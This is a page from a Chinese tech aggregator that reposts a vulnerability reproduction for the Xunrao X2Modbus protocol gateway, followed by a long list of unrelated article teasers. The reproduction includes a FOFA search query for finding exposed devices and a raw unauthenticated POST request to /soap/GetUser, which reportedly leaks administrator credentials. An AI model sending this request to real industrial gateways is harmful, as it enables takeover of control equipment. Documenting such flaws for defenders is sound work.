当前位置： 首页 > news >正文

迅饶科技 X2Modbus 网关 GetUser 信息泄露漏洞复现

news 2026/2/7 3:21:16

0x01 产品简介

X2Modbus是上海迅饶自动化科技有限公司Q开发的一款功能很强大的协议转换网关， 这里的X代表各家不同的通信协议， 2是T0的谐音表示转换， Modbus就是最终支持的标准协议是Modbus协议。用户可以根据现场设备的通信协议进行配置，转成标准的Modbus协议。在PC端仿真运行无误后，上传到硬件协议转换网关。

0x02 漏洞概述

X2Modbus网关GetUser接口存存在信息泄露漏洞，未经身份验证的攻击者可利用此漏洞获取管理员账号密码等凭证信息登录后台，使系统处于极不安全的状态。

0x03 复现环境

FOFA：server="SunFull-Webs"

0x04 漏洞复现

PoC

POST /soap/GetUser HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

相关文章：

迅饶科技 X2Modbus 网关 GetUser 信息泄露漏洞复现

0x01 产品简介 X2Modbus是上海迅饶自动化科技有限公司Q开发的一款功能很强大的协议转换网关， 这里的X代表各家不同的通信协议， 2是T0的谐音表示转换， Modbus就是最终支持的标准协议是Modbus协议。用户可以根据现场设备的通信协议进行配置，转成标准的Modbus协议。在PC端仿真…...

编程日记 2024/4/4 5:50:47

修改亚马逊云科技账户的密码和MFA

要使用AWS CLI删除当前账户的多因素认证(MFA)设备并修改密码，你需要先确保已安装并配置了AWS CLI，并且你的账户有足够的权限执行这些操作。下面是如何分步进行的指导： 1. 删除MFA设备 首先，你需要找出MFA设备的序列号或ARN。可以…...

编程日记 2024/4/4 5:48:45

提升性能与精准追踪：SkyWalking自定义跟踪忽略插件

前言 当使用分布式追踪系统时，有时需要排除某些端点或路径，以减轻追踪系统的负载或减少不必要的数据收集。为了满足这种需求，SkyWalking 提供了一个可选的插件，即 apm-trace-ignore-plugin，它允许自定义需要跳过的路径…...

编程日记 2024/4/4 5:47:44

第十三届蓝桥杯大赛软件赛省赛CC++大学B组

第十三届蓝桥杯大赛软件赛省赛CC 大学 B 组 文章目录 第十三届蓝桥杯大赛软件赛省赛CC 大学 B 组1、九进制转十进制2、顺子日期3、刷题统计4、修建灌木5、x进制减法6、统计子矩阵7、积木画8、扫雷9、李白打酒加强版10、砍竹子 1、九进制转十进制 计算器计算即可。2999292。 2、…...

编程日记 2024/4/4 5:46:43

zookeeper监听集群节点的实现zkclient组件实现方案（Java版）

ZooKeeper Watcher 机制 client 向zookeeper 注册监听client注册的同时会存储一个WatchManager对象向zookeeper发生改变则notification client 并发送一个WatchManager对象,然后client再更新该对象 package com.jacky.zk.demo;import org.I0Itec.zkclient.IZkChildListener;…...

编程日记 2024/4/4 5:43:40

【ArduinoQuartus】在小脚丫STEP CYC10上安装PulseRain Reindeer并在软核上运行基础功能

【Arduino&Quartus】在小脚丫STEP CYC10上安装PulseRain Reindeer并在软核上运行基础功能 一、将Reindeer软核下载到STEP CYC10（一）下载PulseRain Reindeer软核（二）配置Reindeer软核到开发板1.将sof文件转换为jic文件2.将jic文…...

编程日记 2024/4/4 5:42:39

【电路笔记】-逻辑与门

逻辑与门 文章目录 逻辑与门1、概述2、2 输入晶体管与门3、数字与门类型4、7408 四路 2 输入与门逻辑与门是一种数字逻辑电路，仅当其所有输入均为高电平时，其输出才会变为高电平至逻辑电平 1。 1、概述 数字逻辑与门的输出状态仅在其任何输入处于逻辑电平“0”时再次返回“低…...

编程日记 2024/4/4 5:41:38

蓝桥杯练习——拼出一个未来

选中 index.html 右键启动 Web Server 服务（Open with Live Server），让项目运行起来。接着，打开环境右侧的【Web 服务】，就可以在浏览器中看到如下效果： 目标 完善 js/index.js 的 TODO 部分，实…...

编程日记 2024/4/4 5:39:35

stm32f103c8t6学习笔记（学习B站up江科大自化协）-SPI

SPI通信 SPI，（serial peripheral interface），字面翻译是串行外设接口，是一种通用的数据总线，适用于主控和外挂芯片之间的通信，与IIC应用领域非常相似。 IIC无论是在硬件电路还是在软件时序设计…...

编程日记 2024/4/4 5:37:33

云计算的安全需求

目录 一、概述 二、云安全服务基本能力要求 三、信息安全服务（云计算安全类）资质要求 3.1 概述 3.2 资质要求内容 3.2.1 组织与管理要求 3.2.2 技术能力要求 四、云安全主要合规要求 4.1 安全管理机构部门的建立 4.2 安全管理规范计划的编制 4…...

编程日记 2024/4/4 5:36:32

【C++】编程规范之表达式原则

表达式中变量的位置 在编写表达式时，将变量放置在右边，可以提高代码的可读性和可理解性。这种做法符合自然语言的阅读习惯，使得代码更易于理解。 // Good if (5 x) {// do something }// Avoid if (x 5) {// do something }不变量和资源申…...

编程日记 2024/4/4 5:35:30

Python人工智能基础知识：理解神经网络与机器学习的基本概念

人工智能（Artificial Intelligence，AI）是当今科技领域的热门话题之一，而神经网络和机器学习作为AI的两个重要分支，在解决各种问题中发挥着重要作用。本文将详细介绍神经网络和机器学习的基本概念，帮助读者更…...

编程日记 2024/4/4 5:34:30

10_MVC

文章目录 JSON常用的JSON解析Jackson的常规使用指定日期格式 MVC设计模式MVC介绍前后端分离案例（开发与Json相关接口） 三层架构三层架构介绍 JSON JSON（JavaScript Object Notation） 是一种轻量级的数据交换格式，是存…...

编程日记 2024/4/4 5:33:29

【Java多线程（4）】案例：设计模式

目录 一、什么是设计模式？ 二、单例模式 1. 饿汉模式 2. 懒汉模式 懒汉模式-第一次改进 懒汉模式-第二次改进 懒汉模式-第三次改进 一、什么是设计模式？ 设计模式是针对软件设计中常见问题的通用解决方案。它们提供了一种被广泛接受的方法来解决…...

编程日记 2024/4/4 5:32:28

时序预测 | Matlab实现CPO-BiLSTM【24年新算法】冠豪猪优化双向长短期记忆神经网络时间序列预测

时序预测 | Matlab实现CPO-BiLSTM【24年新算法】冠豪猪优化双向长短期记忆神经网络时间序列预测 目录 时序预测 | Matlab实现CPO-BiLSTM【24年新算法】冠豪猪优化双向长短期记忆神经网络时间序列预测效果一览基本介绍程序设计参考资料 效果一览 基本介绍 1.Matlab实现CPO-BiLST…...

编程日记 2024/4/4 5:31:26

java面试题（4）｜Spring和Spring Boot之间有什么关联和区别

文章目录 Spring和Spring Boot的有什么关联？Spring和Spring Boot有什么区别？如何快速区分某个项目采用的是 Spring 还是 Spring Boot？ Spring和Spring Boot的有什么关联？ Spring Boot是建立在Spring框架之上的，因此它…...

编程日记 2024/4/4 5:30:25

Spring Boot中前端通过请求接口下载后端存放的Excel模板

导出工具类 package com.yutu.garden.utils;import com.baomidou.mybatisplus.core.toolkit.ObjectUtils; import org.apache.commons.io.IOUtils; import org.apache.poi.hssf.util.HSSFColor; import org.apache.poi.xssf.usermodel.XSSFWorkbook; import org.slf4j.Logger;…...

编程日记 2024/4/4 5:29:24

构建企业级微服务平台：实现可扩展性、弹性和高效性

在软件开发的快速发展领域中，企业不断努力构建健壮、可扩展和高效的系统。随着微服务架构的出现，再加上云原生技术的应用，创建敏捷且具有弹性的平台的可能性是无限的。在本指南中，我们将深入探讨使用强大的工具和技术组合&#xf…...

编程日记 2024/4/4 5:28:23

存内计算技术在边缘计算、物联网设备中的应用及前景

存内计算技术简介 存内计算技术是一种新兴的计算范式，其核心理念是将存储和计算功能集成在同一硬件单元中。这种技术的优势在于能够在存储单元内部直接进行计算操作，从而减少数据在存储器和处理器之间的传输，提高计算效率。 以下是存内计算技…...

编程日记 2024/4/4 5:27:22

C#使用Selenium驱动Chrome浏览器

1.Selenium库依赖安装 Selenium WebDriver是Selenium项目的一部分，用于模拟用户在Web应用程序中的交互操作。它支持多种浏览器，如Chrome、Firefox、IE等，且与各种编程语言（如Java、Python、C#等）兼容，具有…...

编程日记 2024/4/4 5:26:21

XCTF-web-easyupload

试了试php，php7，pht，phtml等，都没有用 尝试.user.ini 抓包修改将.user.ini修改为jpg图片 在上传一个123.jpg 用蚁剑连接，得到flag...

编程新知 2026/1/25 10:02:40

Android Wi-Fi 连接失败日志分析

1. Android wifi 关键日志总结 (1) Wi-Fi 断开 (CTRL-EVENT-DISCONNECTED reason3) 日志相关部分： 06-05 10:48:40.987 943 943 I wpa_supplicant: wlan0: CTRL-EVENT-DISCONNECTED bssid44:9b:c1:57:a8:90 reason3 locally_generated1解析： CTR…...

编程新知 2025/9/14 19:44:52

Zustand 状态管理库：极简而强大的解决方案

Zustand 是一个轻量级、快速和可扩展的状态管理库，特别适合 React 应用。它以简洁的 API 和高效的性能解决了 Redux 等状态管理方案中的繁琐问题。 核心优势对比 基本使用指南 1. 创建 Store // store.js import create from zustandconst useStore create((set)…...

编程新知 2026/1/26 19:01:00

《Qt C++ 与 OpenCV：解锁视频播放程序设计的奥秘》

引言：探索视频播放程序设计之旅 在当今数字化时代，多媒体应用已渗透到我们生活的方方面面，从日常的视频娱乐到专业的视频监控、视频会议系统，视频播放程序作为多媒体应用的核心组成部分，扮演着至关重要的角色。无论是在个人电脑、移动设备还是智能电视等平台上，用户都期望…...

编程新知 2026/1/25 1:05:45

React Native在HarmonyOS 5.0阅读类应用开发中的实践

一、技术选型背景 随着HarmonyOS 5.0对Web兼容层的增强，React Native作为跨平台框架可通过重新编译ArkTS组件实现85%以上的代码复用率。阅读类应用具有UI复杂度低、数据流清晰的特点。 二、核心实现方案 1. 环境配置 （1）使用React Native…...

编程新知 2025/8/19 2:57:37

初学 pytest 记录

安装 pip install pytest用例可以是函数也可以是类中的方法 def test_func():print()class TestAdd: # def __init__(self): 在 pytest 中不可以使用__init__方法 # self.cc 12345 pytest.mark.api def test_str(self):res add(1, 2)assert res 12def test_int(self):r…...

编程新知 2026/1/21 19:46:26

C++.OpenGL （20/64）混合（Blending）

混合（Blending） 透明效果核心原理 #mermaid-svg-SWG0UzVfJms7Sm3e {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-SWG0UzVfJms7Sm3e .error-icon{fill:#552222;}#mermaid-svg-SWG0UzVfJms7Sm3e .error-text{fill…...

编程新知 2026/1/20 5:33:17

MFC 抛体运动模拟：常见问题解决与界面美化

在 MFC 中开发抛体运动模拟程序时，我们常遇到 轨迹残留、无效刷新、视觉单调、物理逻辑瑕疵 等问题。本文将针对这些痛点，详细解析原因并提供解决方案，同时兼顾界面美化，让模拟效果更专业、更高效。 问题一：历史轨迹与小球残影残留 现象 小球运动后，历史位置的 “残影”…...

编程新知 2026/1/29 12:12:12

AxureRP-Pro-Beta-Setup_114413.exe （6.0.0.2887）

Name：3ddown Serial：FiCGEezgdGoYILo8U/2MFyCWj0jZoJc/sziRRj2/ENvtEq7w1RH97k5MWctqVHA 注册用户名：Axure 序列号：8t3Yk/zu4cX601/seX6wBZgYRVj/lkC2PICCdO4sFKCCLx8mcCnccoylVb40lP...

编程新知 2026/2/4 19:42:20

《Offer来了：Java面试核心知识点精讲》大纲

文章目录 一、《Offer来了：Java面试核心知识点精讲》的典型大纲框架Java基础并发编程JVM原理数据库与缓存分布式架构系统设计二、《Offer来了：Java面试核心知识点精讲（原理篇）》技术文章大纲核心主题：Java基础原理与面试高频考点Java虚拟机（JVM）原理Java并发编程原理Jav…...

编程新知 2025/9/14 13:51:48